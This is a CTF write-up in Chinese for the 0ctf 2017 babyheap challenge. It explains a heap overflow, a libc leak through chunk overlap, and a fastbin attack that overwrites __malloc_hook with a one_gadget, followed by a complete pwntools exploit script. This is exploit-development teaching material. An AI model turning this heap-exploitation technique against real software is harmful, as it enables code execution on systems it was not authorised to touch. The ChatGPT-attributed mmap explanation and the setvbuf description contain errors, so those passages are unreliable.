0ctf_2017_babyheap

Monday, January 9, 2023
本文共1932字
4分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/0ctf_2017_babyheap/。商业转载请联系作者获得授权,非商业转载请注明出处!

The best preparation for tomorrow is doing your best today. — H. Jackson Brown Jr.

原题链接

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

典型菜单题,比较特殊的是,它使用了一个结构体数组,每个结构体内的content域中保存一个指向堆内存的指针

init_0函数

文内图片

  1. 定义了一个整数变量 fd,一个字符指针变量 addr 以及一个无符号64位整型变量 v3
  2. 使用 __readfsqword 指令从寄存器fs中读取 0x28 地址的值存入buf[3]
  3. 使用 setvbuf 函数将stdin_bss_start的缓存模式设置为2,即以行缓存的方式输入
  4. 使用alarm函数设置60秒超时
  5. 打印字符串
  6. 使用open打开/dev/urandom文件并赋值给fd
  7. 如果 fd < 0 或者 read(fd, buf, 0x10uLL) 返回值不为16,则终止程序
  8. 关闭文件
  9. 计算出一个地址addr,其值为(buf[9]. 然后计算一个变量v3.
  10. 使用mmap系统调用将addr开始的1k地址映射到内存,第三个参数为3,表示可读可写,第四个参数为34表示让系统自动选择内存地址,最后一个参数为0表示相对于起始地址,若映射不成功,退出程序。
  11. 返回 &addr[v3]

这段代码是在分配一个类似堆内存的内存区域,并返回这块内存的地址。通过使用/dev/urandom产生的随机数来进行内存地址的计算,来避免预测地址。

mmap函数

mmap 是一个 C 库函数,用于在进程的虚拟地址空间中创建一段内存映射。

该函数的原型为:

void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);

它有以下参数:

  • addr:指定映射内存段的首地址。
  • length:指定映射内存段的大小。
  • prot:指定映射内存段的访问权限。
  • flags:指定映射内存段的其他特性。
  • fd:指定要映射的文件描述符。
  • offset:指定要映射的文件内存偏移量。

所以,mmap(addr, 0x1000uLL, 3, 34, -1, 0LL)的意思是:

  • 在进程的虚拟地址空间中创建一段大小为 0x1000 字节的内存映射。
  • 这段内存映射的首地址为 addr
  • 这段内存映射的访问权限为可读写执行(即 3)。
  • 这段内存映射的其他特性为共享内存(即 34)。
  • 这段内存映射对应的文件描述符为 -1。
  • 这段内存映射对应的文件内存偏移量为 0。

✍️以上信息来源于chatgpt

总之,它在防止我们拿到结构体的地址

allocate

文内图片

其中struc结构体为:

文内图片

change

文内图片

这个函数可以实现任意长度写,这样我们就可以修改任意chunk的size位

remove

文内图片

free后置零,防止了UAF和double free

show

文内图片

这里会打印出size个字符,不论是否是\x00

大致思路

利用任意长度写,实现chunk overlap后释放再分配,就得到了它所覆盖的chunk的随时可读权

然后我们让它覆盖一个0x80的chunk,释放这个chunk后,我们就可以读到它fd指针内的main_arena地址,从而计算出libc基址

然后我们再设计一个0x68大小的chunk,释放后用它上方的chunk的任意长度写更改其fd指针,这样我们就能实现fastbin attack,将其分配到__malloc_hook-0x23处(这是一个固定的漏洞地址),这样就可以绕过size位检查,更改__malloc_hook为one_gadget

更多阅读:[BUUCTF]PWN——0ctf_2017_babyheap_Angel~Yan的博客-CSDN博客

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
from pymao import *

pss: bool = False
fn: str = "./0ctf_2017_babyheap"
libc_name: str = "/home/kali/share/share_files/security/buuctf_libc/libc-2.23_64.so"
port: str = "25886"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None, drop_bound: bool = True) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)]) if drop_bound else p.recvuntil(bound)
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16) if drop_bound else p.recvuntil(bound)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


def allocate(size: int) -> None:
    sendline_after_clean(b"1")
    # sendline_after_clean(str(index))
    sendline_after_clean(str(size))

def remove(index: int) -> None:
    sendline_after_clean(b"3")
    sendline_after_clean(str(index))
    
def show(index: int):
    sendline_after_clean(b"4")
    sendline_after_clean(str(index))

def change(index: int, content: bytes) -> None:
    sendline_after_clean(b"2")
    sendline_after_clean(str(index))
    sendline_after_clean(str(len(content)))
    send_after_clean(content)
        

allocate(0x10)  # 0
allocate(0x10)  # 1
allocate(0x80)  # 2
allocate(0x30)  # 3
allocate(0x68)  # 4
allocate(0x10)  # 5
# gdb.attach(p)
payload = flat({0x10:[
    pg(0), pg(0xB1)
]})
change(0, payload)
# gdb.attach(p)
remove(1) # -1

payload = flat([
    pg(0)*3, pg(0x91)
])
allocate(0xA0) # 1
change(1, payload)

remove(2) # -2
# gdb.attach(p)
show(1)
p.recvuntil("Content: \n")
p.recv(0x20)
libc_addr = recv_and_transform()  -0x3c4b78
hook_addr = libc_addr + libc.sym['__malloc_hook']
chunk_addr = hook_addr - 0x23
one_gadget = libc_addr + 0x4526a
suclog(
    "libc_addr",   
    "hook_addr",
    "chunk_addr",
    "one_gadget",
)

payload = flat([
    pg(0)*7, pg(0x71),
    pg(chunk_addr)
])
remove(4) # -4
change(3, payload)

allocate(0x68) # 2
allocate(0x68) # 4

payload = flat({(0x13):[
    one_gadget
]})
change(4, payload)
# gdb.attach(p)
allocate(0x100)

interactive_after_clean()